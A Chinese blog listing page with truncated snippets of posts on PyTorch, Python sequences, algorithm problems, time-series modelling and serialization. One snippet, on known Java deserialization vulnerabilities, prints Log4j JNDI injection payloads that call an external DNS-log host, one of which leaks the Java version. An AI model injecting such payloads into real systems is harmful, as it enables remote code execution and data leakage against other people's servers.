序列seq深度pytorch
《动手学深度学习 Pytorch版》 5.1 层和块
层： 接收一组输入 生成相应输出 由一组可调整参数描述 块： 可以描述单个层、由多个层组成的组件或整个模型本身 讨论“比单个层大”但是“比整个模型小”的组件“块”更有价值 从编程的角度看，块由类表示 块必须具有反向传播函数 # 以前章多层感知机的代码为例 import torch from torc ......
Python第四章序列（2）：元组
1.创建元组： a=('a',2009) //与列表不同，用圆括号 a=() a=(20,) //当元组中只包含一个元素的时候，需要在元素后加逗号，不然括号会被当成运算符 2.元组访问： a[1] a[2:5] //也可以用切片 也可以用for的遍历。 3.修改元组： 元组不允许修改。修改要通过对元 ......
Python第四章序列（1）：列表
1.列表的创建： a=['hallo','guten',[2002,2223]] empty_list=[] 2.获得列表长度： len(a) 3.创建数值列表: a=list(range (1,6)) //1到6的列表 b=list(range(1,11,2)) //1到10的奇数列表 c=lis ......
剑指 Offer 55 - I. 二叉树的深度
题目链接： 剑指 Offer 55 - I. 二叉树的深度 题目描述： 输入一棵二叉树的根节点，求该树的深度。从根节点到叶节点依次经过的节点（含根、叶节点）形成树的一条路径，最长路径的长度为树的深度。 解法思路： 代码： 层序遍历的方式求树的深度 /** * Definition for a bin ......
深度学习模型训练中，输入数据维度和标签数据维度调整方法
for inputs, labels in train_loader: # 使用numpy的transpose函数调整维度顺序 inputs = np.transpose(inputs, (0, 3, 1, 2)) #将原输入数据最后一个维度换到第二个维度 inputs = inputs.to(de ......
深度学习模型训练时报错“nll_loss_forward_reduce_cuda_kernel_2d_index“ not implemented for ‘Float‘问题解决
报错如下： RuntimeError: "nll_loss_forward_reduce_cuda_kernel_2d_index" not implemented for 'Float' 一般来说这个问题是计算Loss时的报错。 解决方法： 将如下代码 loss_func(torch.squeez ......
基于Fast-RCNN深度学习网络的交通标志检测算法matlab仿真
1.算法理论概述 Fast-RCNN是一种基于深度学习的目标检测算法，可以用于检测图像中的目标物体。交通标志检测是交通场景下的一项重要任务，它可以在道路上的交通标志被遮挡或损坏时提供帮助。基于Fast-RCNN深度学习网络的交通标志检测算法可以对交通场景下的图像进行检测，从而实现对交通标志的自动检测 ......
R语言武汉流动人口趋势预测：灰色模型GM（1，1）、ARIMA时间序列、logistic逻辑回归模型|附代码数据
全文链接：http://tecdat.cn/?p=32496 原文出处：拓端数据部落公众号 人口流动与迁移，作为人类产生以来就存在的一种社会现象，伴随着人类文明的不断进步从未间断。 人力资源是社会文明进步、人民富裕幸福、国家繁荣昌盛的核心推动力量。当前，我国经济正处于从以政府主导的投资驱动型的经济“ ......
PyTorch安装记录
1. 打开PyTorch官网，选择get started https://pytorch.org/  2. 查看 ......
旧台式机配置pytorch环境
1、 (base) C:\Users\Administrator> (base) C:\Users\Administrator> (base) C:\Users\Administrator>conda create -n wind_2023 python==3.7 Collecting packag ......
JAVA的几个知名的反序列化漏洞
更新一下笔记中JAVA的几个知名的反序列化漏洞，仅漏洞poc和原理，无分析过程。 # Log4j 条件：出网（因为需要请求jndi服务器） ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......
【专题】充电桩行业深度报告-高压快充乘风起-出海正当时报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33600 2022年，中国城市充电基础设施继续快速增长，总量从2021年的261.7万台增加到2022年的521万台，同比增幅超过99%。其中，私人充电桩的增加数量达到194.2万台，是公共充电桩增加数量的3倍，私人充电桩占比也从2021年的56 ......
深度分析一下标准协议modbus TCP IP和modbus RTU的优劣【以温湿度传感器为例】
原标题：RS485信号输出的温湿度传感器和RJ45信号输出的温湿度传感器深入分析拓展 485信号输出的温湿度传感器 modbus TCP/IP协议和modbus RTU协议是两种不同的通讯协议，它们在通讯方式、数据格式和适用场景等方面存在一定的差异。下面将对这两种协议进行详细介绍和比较。 一、mod ......
P2757 [国家集训队] 等差子序列 和小感悟
`2023-07-19 20:07:13` (双倍经验:CF452F Permutation) ## 前言 这篇题解的代码与大部分代码用的正反做哈希不太一样，是倒数组做哈希的，希望可以给跟我方法相似但是代码挂了的同学一点启发。 ## 自己的想法 由等差数列基本性质，我们只要找到任意三个数满足 $a[ ......
转：pytorch RoIAlign函数的用法
图解 RoIAlign 以及在 PyTorch 中的使用（含代码示例）_虾米小馄饨的博客-CSDN博客 如何在你自己的代码中使用ROI Pool和ROI Align（PyTorch 1.0）_ronghuaiyang的博客-CSDN博客 ......
Proj CDeepFuzz Paper Reading: PyTorch: an imperative style, high-performance deep learning library
## Abstract 本文： PyTorch Task: detail the implementation and architecture of PyTorch Github: https://github.com/pytorch/pytorch 特点： 1. PyTorch同时关注可用性和速 ......
CF 1860 C【最大上升子序列】
## [C. Game on Permutation](https://codeforces.com/contest/1860/problem/C) 这道题需要求出**先手必胜**点 通过分析可知，每个位置结尾的最大上升子序列长度为**2**的点为先手必胜点，**≥3**的点为先手必败点。即只需要求 ......
C#对没有规律的json字符串转化为对象序列化并遍历读取
比如如下json字符串，而且此字符串的键值是不定而且是有变化的 var jsonString={"BillDate":1,"TypeName":0,"StepNum":0,"CollectCode":0,"Uncollected":1,"Tax":0,"AbstractInfo":1} 现在我们要对 ......
fpc序列objectlist为json
fpc序列objectlist为json unit Unit1; {$mode delphi} interface uses fpjson, fpjsonrtti, Contnrs, //Generics.Collections, Classes, SysUtils, Forms, Controls ......
R语言随机波动模型SV：马尔可夫蒙特卡罗法MCMC、正则化广义矩估计和准最大似然估计上证指数收益时间序列|附代码数据
全文链接：http://tecdat.cn/?p=31162 最近我们被客户要求撰写关于SV模型的研究报告，包括一些图形和统计输出 本文做SV模型，选取马尔可夫蒙特卡罗法(MCMC)、正则化广义矩估计法和准最大似然估计法估计。 模拟SV模型的估计方法： sim <- svsim(1000,mu=-9 ......
Eviews用向量自回归模型VAR实证分析公路交通通车里程与经济发展GDP协整关系时间序列数据和脉冲响应可视化|附代码数据
全文链接：http://tecdat.cn/?p=27784 原文出处：拓端数据部落公众号 最近我们被客户要求撰写关于向量自回归模型VAR的研究报告，包括一些图形和统计输出。 河源市是国务院1988年1月7日批准设立的地级市，为了深入研究河源市公路交通与经济发展的关系，本文选取了1988－2014年 ......
嵌入式深度学习—硬件算法协同优化
主要利用神经网络的三个特性： 1. 并行计算、数据复用 2. 模型具有稀疏性。很多模型中的权值为0或很小，数据经过以后会直接变为无用值 3. 深度学习具有鲁棒性，对数据的误差不敏感 ## 测试时固定点神经网络（Test-Time Fixed-Point Neural Networks） 测试时固定点 ......
深度学习（VGGNet）
VGGNet也是一个比较经典的深度学习网络模型。 模型结构如下： 这里选用了D模型，同样用该模型做个了个猫狗大战的训练，不过为了提高速度，我把图像resize为112*112了，相应的flatten之后就成56*3*3了，所以和原始模型有点不一样。 import torch import torch ......
Prufer 序列 - 无根树的序列化
## 定义 一种将带标号的树用一个唯一的整数序列表示的方法。 Prufer 序列可以把一颗带标号的 $n$ 个节点的树序列化为一个长度为 $n - 2$ 的唯一的序列。 也就相当于**完全图的生成树与数列之间的双射**。 ## 构造方式 每次选择一个编号最小的叶节点并删掉它，然后在序列中记录下它连接 ......
fakit: 一个处理fasta序列的小工具 （二）
[上一篇](https://www.cnblogs.com/mmtinfo/p/16842120.html)博文中写到出了这个小工具，现在更新到0.2.4了，新增了一些子命令。有seqtk，seqkit等好用的工具珠玉在前，还写这个主要是学习和熟悉rust这门语言的基础语法了，写出来自己玩儿咯。 # ......
算法刷题：一步步优化系列01.最长连续序列
> 题目链接： > - [最长连续序列](https://leetcode.cn/problems/longest-consecutive-sequence) *** [TOC] *** ## 暴力解法 (超时) ```java class Solution { public int longest ......
shell中实现DNA序列一致性计算
001、 [root@pc1 test02]# ls a.txt test.sh [root@pc1 test02]# cat a.txt ## 测试数据 ATCCAGCT GGGCAACT ATGGATCT AAGCAACC TTGGAACT ATGCCATT ATGGCACT [root@pc1 ......
DRF----限流、序列化、视图、条件搜索
1.4 django restframework（中） drf内置了很多便捷的功能，在接下来的课程中会给大家依次讲解下面的内容： 快速上手 请求的封装 版本管理 认证 权限 限流 序列化 视图 条件搜索 分页 路由 解析器 6. 限流 限流，限制用户访问频率，例如：用户1分钟最多访问100次 或者 ......